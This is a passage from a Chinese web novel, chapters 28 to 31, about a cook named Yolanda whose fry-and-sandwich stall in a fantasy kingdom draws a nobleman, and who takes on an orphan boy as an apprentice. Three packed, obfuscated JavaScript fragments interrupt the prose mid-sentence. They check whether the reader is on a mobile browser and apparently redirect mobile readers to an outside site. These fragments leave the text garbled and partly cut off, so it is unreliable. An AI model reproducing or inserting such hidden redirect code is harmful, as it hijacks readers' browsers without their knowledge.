这才一天没摆摊，顾客们已经不满，她还惦记着手头宽裕了改成双休呢。 心里腹诽不止，尤兰达面上保持微笑，接过一份钱给出一份薯条。 这几天摸习惯了黑森的铜币，放在手心里一掂，大致能靠重量和厚度分辨出数量，因此收钱数钱就不再是难事，手脚麻利点，一个人摆摊倒也算顺畅。 “嘿，薯条夫人，我来取我的三明治了。”年轻的呼喊从人群外传来，带着压不住的兴奋。 尤兰达多瞧两眼，是他，那个年轻工匠，颔首微笑打招呼。 阿尔杰拼命挤进来，来回扫车板上的东西，期待他的三明治。 随后跟着他进来的同伴仍旧将信将疑。 “我不会忘记的，鳕鱼三明治一份，对吗？”尤兰达揭开一旁罩着的长方形麻布，取出一块三明治。 她十分注意餐饮卫生，手指只接触三明治包了葡萄叶的部分，递给阿尔杰。 而此时，排队买薯条的客人们看到满满一盘的三角形食物，齐刷刷发出“哇”声。 麻布下，是一只长方形的浅口陶盘。 盘子里，三角形的食物整整齐齐码放紧实，每一块都垫着一片翠绿的葡萄叶。 白面包片夹着翠绿、金黄、鲜红、嫩黄，丰富色彩层层叠叠，从切口处露出来。 满满一盘，挤挤挨挨，光是摆在那里，就好看得不像话。 阿尔杰愣在原地，眼睛都直了，久久没有接走属于他的三明治。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316182|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “上帝啊，那是什么？” “太好看了吧……” “夫人，那个卖吗？” “我要一份！现在就给我一份！” 尤兰达还没来得及说话，已经有手伸过来，手里攥着一把铜币，哗啦啦往她面前递。 不管什么地方，多得是人愿意为外貌买单。 尤兰达迅速反应，大声喊：“感谢大家的支持，这是我自己研究的三明治，第一天售卖只准备了30份，一份仅收25铜币。” 喊话结束，着急忙慌要买三明治的人冷静些许，数钱递钱的速度也慢下来了。 提前拿到三明治的阿尔杰神气仰扬头。 他可是第一个吃到三明治的人，而且只花了20铜币。 尤兰达知道大家的顾虑，举起一块三明治介绍食材。 “三明治一共用了三片白面包，两片卷心菜叶两片番茄，除此之外还有一个煎蛋一块鳕鱼排……” “鳕鱼？哪里有鳕鱼？” “薯条夫人，鳕鱼排是什么？” 有人鸡贼的盯着阿尔杰，看他有没有吃到什么鳕鱼排。 阿尔杰盯着众人目光，大口咬下，细细咀嚼。 “没错，有煎蛋的味道，我能吃出来，卷心菜叶一点不苦！鳕鱼……？等等，这个脆脆的软软的不会是鳕鱼吧？” 围观的食客都懵了，鳕鱼什么时候脆脆的了？怎么脆脆的还能软软的？ “年轻人，你会不会吃啊？”有人着急。 “让我咬一口吧，我保证能吃出来。”有人调侃。 阿尔杰脸通红，“我当然知道鳕鱼的味道。” 他盯着手里的三明治，试图用眼睛和嘴巴一起分辨食材。 怎么说呢，三明治里的鳕鱼一点也不鳕鱼，先不提口感，它竟然没有鳕鱼的腥味。 想解决鱼腥味，大家常用方法是添加许多香草大料，所以很多肉食海鲜的香料味尤为浓重。 鳕鱼排如果真的是鳕鱼做成的，这一点就很让人想不通了。怎么会有鳕鱼既没有腥味，又没有浓重的香料味，同时吃进嘴里还格外的咸鲜。 他咀嚼一口又一口，情不自禁喃喃：“是鳕鱼的感觉，但是……amazing！” 嚼着嚼着，三明治下去大半，阿尔杰依然不明白鳕鱼为什么会是这个味道。 他的同伴急得上蹿下跳，“别amazing了，你就说好吃不好吃。” 围观食客纷纷应声，“对，别管那些了，三明治好吃吗？25铜币有点贵了。” 有人小声插话，“可是有三片白面包。” 阿尔杰吞下最后一口，十分笃定，“好吃。” 话落音，等待反馈的其他食客心动不已，琢磨着要不要买一份尝尝。 尤兰达适时开口：“你们没看错，面包片里那块金黄色的就是鳕鱼排。原谅我不能说出具体做法，不过它和薯条一样，需要吃足了油脂。” 意思很明白了，食材成本昂贵，25铜币买不了吃亏买不了上当。 大家都是附近工作生活的匠人或者学徒工，薪水不说特别多，负担25铜币一份的三明治绝对没问题。 但平头老百姓嘛，又不是什么贵族富豪阶级的，花钱总要讲究个性价比。 他们盯着三明治盘算。 食材丰富多样，份量不小，口味好，25铜币贵是贵了点，却很划算，也就是买三份薯条的钱。 “我要一份三明治，薯条只要一份好了。”有人犹豫再三，决定少吃几份薯条，就当尝尝鲜。 “今天不吃薯条了，给我一个三明治，最大份的那种。”隔了半分钟，第二个客人递出25枚铜币。 拿到三明治的客人并未走远，他们继续守着摊子，吃一口，向周围其他食客描述自己的体会。 没办法，比薯条还新奇的吃法，大家都想了解清楚，即便当下没吃上，回去和伙伴邻居炫耀也够了。 看着食客一边大口吞咽，一边连连点头表示认可，然后口齿不清的夸赞鳕鱼排的美妙，渐渐的，其他顾客坐不住了，纷纷慷慨解囊。 尤兰达笑容轻松，三明治的生意姑且算打开了。 情况和她想象的差不太多，薯条一份接一份卖出去，油锅里噼里啪啦的动静根本没停过。 三明治稍差，卖出去七八份薯条才有一个人愿意尝鲜。 她扫一眼浅口陶盘，照这势头，30份三明治很有希望在摆摊结束前卖光。 “薯条夫人，两份薯条。” “一份薯条，我想单独买一份番茄酱可以吗？” “两份薯条，多点蜂蜜芥末酱吧。” 越来越多的客人表现出对番茄酱的偏好，尤兰达一一回应后，半开玩笑的说： “谢谢你们对番茄酱的喜欢，或许我不该研究三明治，把番茄酱做成小罐售卖更受欢迎。” 老顾客玛丽夫人面露惊喜：“那可太好了，天知道我家孩子有多喜欢你做的番茄酱。星期天我在家尝试过，没有你做的好吃。” 铁匠一脸坦诚地附和：“老实说，我和我夫人描述过番茄酱的味道，她怎么做都不太对。” 拿到薯条的年轻工匠学徒没有马上离开，急急补了一句：“薯条夫人，可千万别卖太贵啊。” 周围响起善意的哄笑。 大家反应热烈，尤兰达乐得见牙不见眼，小算盘拨得噼啪响。 番茄酱不难，一次熬一大锅，装进小陶罐里封好能放好些天，后续搭配方便面成批发售，那前景…… 不拘番茄酱，什么菌菇酱、酸菜酱，都值得拓展。 好好好，独立包装的番茄酱真的可以慢慢计划起来了。 29.第 29 章 本杰明慕名来到工匠街，按照信中描述，他顺利找出街巷中最拥挤的小吃摊。 三天，他不过是去一位子爵的领地参加狩猎，三天后再回皇城，整座城市像注入了一丝鲜活气。 三天前，这里还是那个他熟悉的，平静祥和乃至于无聊的城市。 然后呢？ 大王子迎娶平民王妃的余波未散，王妃继母惨遭净身出户的消息疯传。 没多久，一种叫薯条蘸酱的食物在坊间流传，吸引了无数追求热闹爱新鲜的闲人。 本杰明想起约瓦尼那封信。 向来对吃食不甚在意的游侠骑士，竟用一整段篇幅，声情并茂地描述了一种叫“番茄酱”的东西。 “你若不信，大可亲自去尝。”他如此说。 于是，本杰明来了。 然后他站住了。 摊前蜂拥的食客无序且混乱，裹着布巾的摊主热情与食客搭话。 客人说了什么，她笑着应一句，手上动作不停，眼神证明她在认真听。 又一个客人凑上去，摊主抬头笑笑，说了句什么，客人也跟着笑起来。 本杰明看了一会儿，眉头皱得更紧。 交易就交易，为什么要聊天？ 本杰明不懂，但他注意到，越来越多的人被这里“热闹”吸引，排队的人群越来越壮大。 噢——糟糕的平民区！ 他讨厌拥挤，转身要走，走出去两步，又停住。 “你去。” 本杰明偏头看了一眼身后的随行骑士，示意他去排队。 骑士恭敬垂首，挤进人群。 本杰明绕过人群来到摊子后方，站在一棵老榆树下，抱着手臂静静地观察。 他看见骑士递出铜币，看见摊主动作麻利地往油锅里下了什么。 没一会儿，骑士捧着一包东西挤出人群，张望寻找片刻朝他走来。 “老爷，薯条。红的是番茄酱。” 本杰明接过来，低头审视一遍。 和他吃过的土豆确实不一样，但，也不过如此。 平民的食物能有什么特别，难道比孔雀肉更好吃？ 本杰明不以为然，拈起一根薯条随意蘸了蘸酱汁，送进嘴里。 嚼了一下。 嚼了第二下。 本杰明的动作顿住，双眸微微睁大。 酸、甜、咸、说不清道不明的浓郁在舌尖炸开。 他拈起一根，又一根，等回过神来，手里的叶子已经空了。 本杰明盯着自己油亮的手指，沉默了几秒。 骑士久久听不到新的吩咐，低垂着头颅，脊背绷得笔直，越发不安。 老爷对食物十分挑剔，每一口进嘴的东西，都要通过他定下的莫名其妙的规矩。 油腻的不行，辛辣的不要，所有可能让他痔疮发作的，一概拒绝。 如果哪道食物不合他的心意，本杰明老爷甚至会大发雷霆。 “再买一份。” 简短的话音犹如天籁，骑士愣了好一会，猛地抬起头：“老爷，您……” 本杰明抬手打断：“不，买两份薯条，再买一份番茄酱。” 说着，他目光从油锅上挪开，落在旁边的浅口陶盘，一排排的漂亮三角形十分醒目。 “那是什么？”他问。 骑士回头睃巡一圈，直接上前与摊主询问，然后他折回来禀报：“老爷，摊主说，那是今天出的新品，叫三明治，25铜币一份。” 本杰明流露出一丝困惑。 三明治是什么？ 才25铜币，真的好吃吗？ “那就也买一份三明治吧。”他吩咐。 第一回来就当了回头客，薯条合不合老爷心意，熟悉他的骑士一目了然。 哪怕老爷没有给出任何一句赞美。 骑士领命离去，大步挤进人群，随着走动，一身锁子甲发出金属独有的闷响，原本拥挤的食客自觉让出空隙方便骑士通过。 待骑士离开，排队的食客们憋不住低声交流起来。 “瞧见了吗？有骑士来买薯条，他还买了三明治。” “见到了见到了，不知道是哪位贵族的骑士。” “天呐，你是说，贵族也爱吃三明治？” 骑士一趟来回，在食客中间引发了轩然大波。 阶级分明的时代，平民区与贵族直接的交集少得可怜，能接触到和贵族有关的，只有前来工坊采买的女仆、管家等。 而此时，就有一位贵族派遣骑士，前来购买他们常吃的薯条。 微弱的联系，让许多吃过薯条的顾客骄傲挺胸，与有荣焉。 瞧，贵族也爱我们平民的食物。 本杰明淡淡扫过吵闹惹人厌烦的群体，接住骑士送来的三明治，观察一会，谨慎小心的低头咬一口—— 不软不硬的面包、酥脆的鳕鱼排、焦香的煎蛋、爽嫩的蔬菜、酸甜的酱汁，所有感受汇集口腔于瞬间爆发，层次分明又恰到好处地融在一起。 本杰明愣在原地。 他去过许多贵族的领地，参加过无数场沙龙宴饮，从未吃过这样的东西。 本杰明什么都没说，飞快咬下第二口。 吃完，他慢吞吞招手，对骑士道：“买三份三明治，一份送去庄园，让厨娘照着做。” 话音落下，随行的几位骑士都呆了几秒。 老爷让厨娘……学做平民食物？ - 尤兰达听着食客们交头接耳的议论，目光不由追着渐行渐远的一队人马飘远。 穿着盔甲骑着马的骑士，只有有领地的贵族养得起，这是所有人都知道的事。 难道…… 尤兰达扫视周围，除了食客比前几次摆摊多，没什么特别。 奇怪，怎么没人来看她笑话？ 尤兰达伸着脖子找啊找，还是没看到哪里有富婆，心里有点小失落。 唉，白期待了。 她还指望富婆们帮她打广告拉新呢。 尤兰达只失落了一会，随即被突然爆发的订单淹没。 “来两份薯条，贵族同款！” “三明治，我要和刚才那位老爷一样的！” “先给我先给我，我有钱！” “别抢啊，我先来的，三明治本来就不多，你们讲点道理吧。” 有贵族探店平民区小吃摊的消息，在食客中间扩散，不差钱的主一个比一个积极，管它好不好吃，贵族老爷都买了，那必须尝尝。 他们也要吃贵族同款三明治。 对这一现象，尤兰达归咎于明星效应。 平民对贵族阶级有着无限的向往，贵族用过的、吃过的、穿过的，就是好的对的值得掏钱的。 甚至贵族之间流行什么病，都有富商和平民争相效仿，努力让自己咳出血或者染上某些传染病，好显得和贵族阶级沾边。 纯纯脑子有病。 尤兰达吐槽一会，心里的邪恶念头一个接一个。 安排几个群众演员，穿上像样的衣服，假扮贵族来当一回托，岂不是…… 尤兰达异想天开了一阵，一巴掌按压回去。 没别的，这里的阶级太分明了。 贵族就是贵族，平民就是平民，中间隔着一道看不见的墙。 什么颜色能穿，什么料子能用，哪样花纹是贵族专属，都有不成文的规矩。 但凡有平民冒充，或以贵族名义社交、获利，轻则鞭打重则绞杀，绝不留情。 贵族阶级团结且封闭，一致维护所属阶级利益。 一共三十份三明治，有勋爵老爷亲自带货，愣是在两小时内抢购一空。 尤兰达抽空瞄一眼半满的钱罐子，嘴角压都压不住，招待起顾客越发周到。 “薯条夫人，三明治还有吗？” “没了没了，明天赶早啊。” “啊？我才刚来……” 类似的对话，一连重复了七八遍。 最后一个客人遗憾离开，尤兰达看着剩下少量残渣的空陶盘，真切地意识到一件事。 她的小吃摊，应该是火了。 可不是她自恋，她观察过，今天踩点来的老顾客十有八九没排上号。 许多熟悉的面孔站在人群外围，眨巴大眼睛，无措地望着被扫荡一空的摊子，活像一群被抢了窝的呆企鹅。 如果给小吃摊的食客做个画像分析，她敢说和前几天大不同。 第一天摆摊几乎都是工匠街的居民，匠人、学徒、杂役、小康家庭的主妇等，从气质和举止细节不难分辨。 第二天，食客群体稍稍有了点变化，大多是看小吃摊生意好，随波逐流凑个热闹。 今天，尤兰达的顾客群体里不止有勋爵老爷，还有不少厨师、面包师，更有来自贫困区的小萝卜头，身上的补丁一块叠一块。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324978|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们买了东西也不吃，仔细包好放进陶盒里，揣好陶盒撒腿就跑。 从他们身上，尤兰达看到了跑腿代购和外卖小哥的影子。 薯条的出现像吹进水晶球里的一股风，为这座十万人口的城市带来了一丝新鲜空气，越来越多的人循着气息找来。 尤兰达十分确定，快则明天后天，最迟本周末，薯条会随机刷新在皇城的各个街巷、餐馆、酒馆。 她对自己的手艺有信心，更对薯条有信心。 这么一来，除去方便面番茄酱，还要多考虑一下“商标”的事了。 黑森王国当然没什么注册商标的概念，各行业最多在招牌上刻画简笔线条，让不识字的人也能通过标识辨认出店铺卖什么。 尤兰达要的不是这个，在模仿者出来之前，她必须把品牌概念打出去。 就像提起薯条番茄酱，大家脑海里自动冒出M记K记，她要让皇城居民提一次薯条，就想起矮人巷的费尔南多。 尤兰达只踌躇满志了片刻，随后抓耳挠腮。 短视频时代她被迫学了不少有的没的，可设计商标什么的，她哪会啊。 愁着愁着，摊子收拾完。 一看天色，来的比前两天都晚，走的比前两天都早，她的小吃摊绝对火了。 尤兰达推着板车往外走，两边邻居一个个笑呵呵和她打招呼。 “薯条夫人，明天还摆这儿吗？” “夫人夫人，明天我帮你占位置吧！” “夫人，明天我带自家做的馅饼给你尝尝。” 尤兰达嘴上应和着，脑子里惦记愁人的商标。 路过木柴铺，她暂时放下心事，进去订三捆松木柴。 今天下班早，这会回去熬蚝油，天黑前刚好完成。 她数出铜币递给杂役，让他送去矮人巷，刚准备转身离开—— “你给我滚！还敢要钱？你算个什么东西！” 店铺后门忽然传来一阵推攘争执声，紧接着，一个穿着补丁衣裳的男孩被推了出来，眼眶通红，倔强地咬紧嘴唇。 大胡子老板骂骂咧咧跟出来，唾沫星子快喷到男孩脸上： “痴心妄想的小杂种，你看看整条街，谁家不是给木柴当工钱？就你特殊？” 喝骂声引来无数目光，大家瞥一眼又转移视线，显然以习为常。 男孩胸膛剧烈起伏着，声音又硬又哑：“是你违背了承诺！” 这一嗓子，嚎的尤兰达都不想走了，停在门边吃瓜。 “你答应用铜币代替木柴，我才为你干活的！” 店铺内外，好几个正在挑柴的人停下动作，齐刷刷看过来。 没人说话，但他们的目光像针一样扎在老板身上。 老板脸腾地涨红，从耳朵根一直红到脖子。 “你、你胡说什么。”他扬起手，作势要打人。 男孩吓得往后退了两步，却没跑，梗着脖子瞪着他，眼眶里的泪花硬是没掉下来。 老板的手扬在半空，打也不是，不打也不是。 店里有不少客人正看着呢。 “快滚，带上你的柴。”他提溜起两捆木柴丢在男孩脚边，径直回了后院。 男孩不服气，还要争辩争取，刚刚招待尤兰达的杂役连忙抱住他。 “他只想骗你干活，我说过让你去别家，你不信。”杂役把柴往男孩怀里一塞，推着他往外走，声音压低了些：“他为勋爵老爷做生意，别惹他了，快走吧。把柴带走。拿不到钱，有柴也很好。” 男孩抬手一抹，泪珠子哗哗往下淌。 梗着脖子硬撑的劲儿全散了，他抽噎着，肩膀一耸一耸，委屈又愤怒。 尤兰达站在几步之外，看清了他的脸。 大约翰，搬来矮人巷第一天找她卖柴的孩子。 尤兰达对他印象深刻。 她以为上门推销是常见销售手段，在皇城生活几天后发现，压根不是普遍现象，只是大约翰为了更多招揽顾客想到的法子。 街上那么多商铺，就他一个敢挨家挨户敲门揽生意。 当然不止这一点，还因为大约翰第一时间分析出北1店有了新住户，果断上门销售，这说明他平时走街串巷有关注到各家店铺状况。 他还顺带着为好朋友介绍生意。 当时不以为意，后来想想，这孩子的脑袋真好使。 尤兰达眼珠子滴溜溜转，快步追上去。 30.第 30 章 “嘿，约翰。” 小孩委屈死了，闷头疾走，尤兰达放心不下板车，高喊一声叫住他。 话音落下，小孩没什么反应，街上来来往往的行人先后回过头看她。 老的少的，扛柴的推车的，穿着围裙的拎着工具的，足有十几人。 街道两边，三四个摆摊的摊主也探出脑袋张望。 他们满脸迷茫，齐刷刷投来的目光里明晃晃写着：叫我？ 尤兰达脚步慢了慢，随即扯出一个歉意的微笑，清了清嗓子，又补了一声： “大约翰！” 她快步跑上去，一把拍在那个还抽噎着的男孩肩头。 “原来不是叫我啊。”扛柴的中年男人嘟囔着离开。 “也不是叫我。”推车的老汉耸耸肩，把车轱辘重新推起来。 诡异的静止画面总算解除，大家该干嘛干嘛。 尤兰达哭笑不得。 约翰、杰克、玛丽、苏珊这类名字，在平民中重名率高到离谱。 好比“zi han”,学校门口嚎一嗓子，不管男的女的、大的小的，总有十几个同时回头。 并不是每个平民都拥有姓氏，很多人就一个“约翰”“杰克”，为方便区分，身边人常用年纪、职业、身份等缀在名字前。 “夫、夫人？”大约翰一抽一抽，舌头打了结似的。 尤兰达缓和神色，指了指他手里的木柴，“或许，你愿意把木柴卖给我？” 大约翰没想到尤兰达会说这话，傻愣愣忘记抽气。 尤兰达自顾自数出对应铜币，递过去：“和店里的价格一样，现在，帮我送去矮人巷，可以吗？” 大约翰呆呆地望着递到眼前的铜币，眼睫上还挂着泪珠子。 他猛地回过神来，用力点了点头，“卖的，我愿意卖柴。” 他一把抓过铜币揣进怀里，两捆柴扛上肩，顾不上脸上泪痕，抬脚往矮人巷去。 尤兰达推板车走在他一侧，试探着挥动锄头：“你在那家木柴店做杂役？” “不算杂役，”他抿了抿嘴，像是憋了很久，一股脑倒出来：“老板之前答应过我，帮他运柴、卖柴，给我结算铜币，我才去的。” “结果呢？”尤兰达明知故问。 大约翰吸了吸鼻子，还是好想哭，“我去领工钱，他说只给木柴，铜币没有了。” 他偏过头，飞快地拿袖子蹭了一下脸。 “要是我早知道他骗人，我肯定不干的。” 像木柴店、煤炭店，并不是每天都有活干，忙碌时招几个临时工或者大约翰这样的童工。 老板舍不得发真金白银，通常以物抵工钱。 如果事先商量过用铜币结算，事后出尔反尔，只能认栽。 从大约翰零碎的讲述中，尤兰达摸清了他的底细。 无父无母有一个妹妹，因为没能凑够“学费”，进不了行会拜不了师，目前四处打零工赚钱攒钱。 尤兰达想把人留下的念头越来越强。 离矮人巷还有半条街，尤兰达超绝不经意的打听：“假如，我是说假如啊，你能加入行会，安排你去当学徒，你想学什么？” 大约翰想都没想，直接摇头：“不，我不想进行会。” 尤兰达意外了一瞬，她以为当工匠是所有男孩的最优选。 大约翰垂着头，声音闷闷的，“我想赚铜币，我要照顾妹妹。” 闻言，尤兰达倒是能理解了。 工匠工资高，面包师、厨师工资也不低，但无论哪种手艺，学习途径都有限，进入行会是大家熟知的门路，等待行会安排进加入行会的店铺，再跟师傅学手艺。 当然也有运气好的，直接被老师傅看中，带在身边培养。 学徒期间，行会要抽成，店铺要收学费，到手工资只够混口饭，攒不下半个子。 只有熬成独当一面的匠人，才真正开始赚钱。 闲话间，板车推进院子。 大约翰诧异一会院中景象，小心绕过晾晒的菌菇和蜂窝煤，手脚麻利地把木柴扛进柴棚，码积木一样一根根摞好。 尤兰达静静看了一会，越看越满意。 临出门，她叫住大约翰。 “我的饭馆正缺一个学徒，你要试试吗？” 大约翰怎么也想不到，送一次木柴，就收到了boss直聘。 他久久没能反应过来，瞪着湿漉漉的眼珠子，神情呆滞。 尤兰达好笑的解释：“比行会规定的学徒工资要多一点，你知道的，不能多太多，会被行会找上门。包吃，包住。一天两顿，有时候三顿，具体看工作量。 不过需要先试工，我得确定你有当厨师的天份。” 大约翰嘴唇抿紧了，像是在憋什么。 尤兰达：“另外，我的饭馆不打算加入行会，你不需要教学费。” 大约翰猛地吸气，狠狠心动。 加入行会的店，规模大，规矩多，学徒杂役全是行会安排，轮不到外人插手。 不加入行会的店，规模小，招不起人，老板宁可让自家孩子打下手，或者找临时工凑合。 他一个没门路的，从来不敢想能被谁正式收留。 天降馅饼，砸得大约翰晕晕乎乎，脚底跟长了钉子似的，半天没挪动。 脑子里两个小人在打架。一个说：天上掉馅饼了，赶紧接住啊傻子！ 另一个说：会不会有坑？这世上哪有这么好的事？ 尤兰达也不催他，就靠在门框上，跟看戏似的看着他那张脸变来变去。 过了一会儿，大约翰憋出一句话：“我需要做些什么？” 尤兰达笑意加深，小孩不算傻，知道了解工作内容。 “洗菜，切菜，备菜，都是厨房里的活，”尤兰达掰着手指头数，“有时候帮忙搬搬货，跑跑腿。活儿不少，但累不死。” 大约翰点点头，不好意思的问：“那……包吃，是跟你们一起吃吗？” 尤兰达乐了：“怕我给你吃剩的？” 大约翰脸一红，连连摆手，磕巴解释：“不、我是听小约翰说，你家做的饭可香了。” 小约翰自从接下北1店的清粪活儿，每天晚上回到阁楼，总要念叨几句今天闻到了什么味，费尔南多夫人今晚做了什么饭，最后再来一句“真想尝尝费尔南多夫人做的饭”。 大约翰说他嘴馋，小约翰一本正经的回：“我发誓，哪怕都是屎，我也确定北1店的屎和别家不一样。” 大约翰笑得一晚上肚子抽疼，越发好奇费尔南多夫人到底做了什么样的食物。 尤兰达笑出了声，这理由她爱听。 “放心，试工三天，我们吃什么你吃什么，少不了你一口。” 大约翰深呼吸，像是下了很大决心，“夫人，我干。” 话刚出口，又像是想起什么似的，赶紧补了一句：“我现在就能干活！” 为了证明自己，大约翰拎出斧头，撸起袖子冲柴棚的木头下手。 不管怎么说，柴每天都要用，劈柴不会出错。 尤兰达看他积极表现的样，忍不住笑。 才夸他不傻，这就犯傻了，连工资都没问清楚，上赶着干活。 不过她也没主动提，反正三天试工期，能留下，到时候一起交待不迟。 “柴够用，别劈了，”尤兰达冲他招招手，“跟我去集市。” 通常情况是她下班路上顺手买，省得另外跑一趟，今天没有帮手，她不放心车上东西，只能先回家。 大约翰一听有事干，上了发条似的蹭地蹿到她跟前。 两人先去海螺巷露天市集，找到蚝郎订杂鱼和海带。 她话一出口，别说蚝郎，连大约翰也一起懵了。 “夫人，您是说，要买三十条海带，一桶小杂鱼？”蚝郎挠着脑袋重复。 “没错，是海带，我要新鲜的，如果收不到，你帮我从渔民家里收干海带也行，第一次只要三十条，品质不差的话，后续我都在你这里买。” 蚝郎听到有稳定生意，情不自禁露出笑，随即笑容变得勉强。 “不……夫人，我是说，我实在不知道该怎么算海带的钱。” 没人吃海带，自然也没人买卖海带，他一时间真不知道如何定价。 卖贵一点呢，海带真不值那个价，贵了卖不出去。 便宜点吧，没赚头，采海带需要时间和体力，有精力挖生蚝螯虾不比这强？ 尤兰达总不能教别人怎么赚自己的钱，直截了当问：“这生意你做不做？” 蚝郎琢磨一会，咬牙说：“做。” 大不了闲的时候去捞，反正不麻烦。价格嘛，就赚个辛苦费和跑腿钱。 尤兰达爽快付他三十个铜币订金，顺手把剩下的十几条小杂鱼包圆了。 “你有什么忌口吗？” 大约翰懵懵懂懂，什么叫忌口？ 尤兰达解释：“有的人吃某些东西会不舒服，比如豆子、水果、鱼虾……别人吃了没事，你吃了身上起红疹、犯困、肿胀疼痛什么的。” 大约翰转过弯来，下意识抱紧篮子，指甲紧扣进藤条缝隙。 胸口忽然涨涨的，麻麻的，像有什么东西堵在那儿。 “我、我没有忌口，我都能吃。”他蚊子哼哼似的小声回答。 尤兰达多看他一眼，这小孩怎么说着话又走神了。 “行，今晚咱们吃杂鱼汤，主食吃拌面？” 大约翰恍恍惚惚，费尔南多夫人这是……和他商量晚餐？ 意识到这一点，他重重点头，怕夫人嫌他麻烦嫌弃他不机灵，急忙道：“夫人不必顾虑我，您做什么我都吃。” 尤兰达习惯性客气一下以示关照，听到回答，面上泛起淡笑。 不挑食好啊，省事省心。 她食欲一般食量也一般，唯独做饭的瘾大，心血来潮时，东南西北不拘什么地域，想做就做，最需要不挑食的食客。 拎着新鲜杂鱼，尤兰达去了一趟粮店，买下10斤细麦粉，50斤灰黄色的粗麦粉，50斤燕麦，以及50斤小米。 能在黑森王国找到小米，属实出乎她意料。虽然当地人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤兰达画大饼：“50个只是初步需求，我得先看看成品，才能决定要不要多订一些不是吗？” 这很合理，老格伦接受了。 “你想要什么样的陶盅？” 尤兰达不废话，直接夺过柜台上的羊皮纸动手画。 老格伦凑近瞧了瞧，有点特别。 细长的圆柱体，头部外立面有一圈凹槽，柱体中心有着番茄图形装饰和硕大字母。 随着羽毛笔沙沙响，他看到了“Yolanda”几个歪歪扭扭的……花体字？ “能做出来吗？”尤兰达摸着鼻尖，不好意思地问。 唉，字太丑了，怪没面子的。 “做这样的陶盅当然没问题，字母和图案……恐怕要跑一趟工匠街，晚两天才能做出来。” 工匠街许多金银铜铺子有大量为贵族服务的经验，生产的金银器讲究一个精美与精致，老格伦很清楚该联系谁能达成目标。 尤兰达挺忙的，巴不得所有事情推给老格伦接手。 “辛苦你了老格伦，只要确保字母不出错，有番茄图案做标识，其他的你们定。” 文盲率高达70%的时代，写太多字没什么用，弄个漂亮的花体搭配图案，看上去足够特别就够了。 尤兰达没有大包大揽的意思，她的狗爬字，拿出去也是丢人现眼，有专精的工匠帮忙再好不过。 老格伦干脆接下订单，“先支付300铜币好了，烧两个样出来我安排人送给你看看，定下来再烧其他的。” 尤兰达也干脆的同意了，约定四天后收样品。 最重要的事情商量完，小陶罐推上车带走，大点的陶缸坛子自有杂役送货上门，他们转而去了附近一家杂货店。 尤兰达目标明确，挑出一块方方正正的大木板当案板，专门用来擀面。 想到家里快没处下脚，她一口气买了五个五层的晾晒架，外加十五个大笸箩。 意外的是，尤兰达挑到了类似笼屉作用的平替，一个带孔的浅铜盘，当地人叫蒸格，一般架在煮粥的锅上，借水蒸气软化面包。更平价一点的有芦苇编制的锅、盘、碗，作用和蒸格差不多。 尤兰达两种都买了几个，另外挑了几套餐具。 不知道别的厨师什么样，反正她自己是无法抗拒逛厨具店的，有用的买，好看的买，万一能用上的也买。 即便从尼尔森家带来不少东西，看上去像模像样，但时代的局限性在那里，新家的厨房到底有点简陋，尤兰达心里盘算一遍，索性一起采购补足。 大约翰一声不吭地跟在后面，东西一样样往板车上搬，搬完了乖乖站一边等着。 尤兰达忙完看着满当当的板车，满意点头。 这一波采购，除去她挑拣商品掏钱付钱，杂事一应由大约翰接手。 虽然是男孩子，但眼里有活，做事细致麻利，十分难得。 哪怕没有烹饪的天份，留着当个助理、切菜工也很不错。 31.第 31 章 满载而归，西芙拉和菲奥娜仍旧不见踪影，大约是玩疯了。 好在两人没忘记采购，厨房流理桌上放着四口坛子，装着果醋和果汁。 尤兰达抱走坛子放一边，撸起袖子准备熬蚝油。 大约翰十分自觉，主动搬卸车上食材杂物，各自归类。 手里没事做了，他拘谨地凑过来问：“夫人，我需要做些什么。” 尤兰达忙着剁生蚝呢，抬眼往院中一瞥，安排道： “看到院子里的菌菇了吗？黑色和白色长条装进笸箩，塞去晾晒架，这两种要挪到阳光下晒。其他菌菇装进笸箩后，全部挪去地窖阴干。 做完这些，去柴棚把棚下阴干的黑球搬去棚子顶上面晒，全部忙完了我再安排别的。” 大约翰站在院中，分辨一会哪些菌菇要送去地窖，哪些要放在阳光下，才忙起来。 尤兰达忽然从厨房探出头。 “对了，柴棚里有四个粗木段，湿漉漉的，还长了黑黑耳朵的，那几块木头你别动。” 菌菇喜阴，她特意用秸秆遮光，和留着发芽的豆子们一样，早中晚各浇一次水，好让黑木耳长快点，万一被不识货的大约翰当木柴劈了多亏啊。 大约翰应声，扭头钻去木柴棚找到四个粗木段，记住它们的样子开始收拾菌菇。 院子里的菌菇看着多，实际更多，等他去了地窖和前面的铺子，也太多了，哪哪都是。 大约翰震惊一会，埋头苦干。 他手脚麻利，干完一圈回来，院子已经清爽多了，又拎起篮子爬上爬下运蜂窝煤。 一块块黑煤球经手，煤炭的味根本遮不住，仔细瞅瞅，里面似乎掺了草屑。 运着运着，大约翰心里的疑惑越来越多，最后一趟运完，憋不住好奇追问： 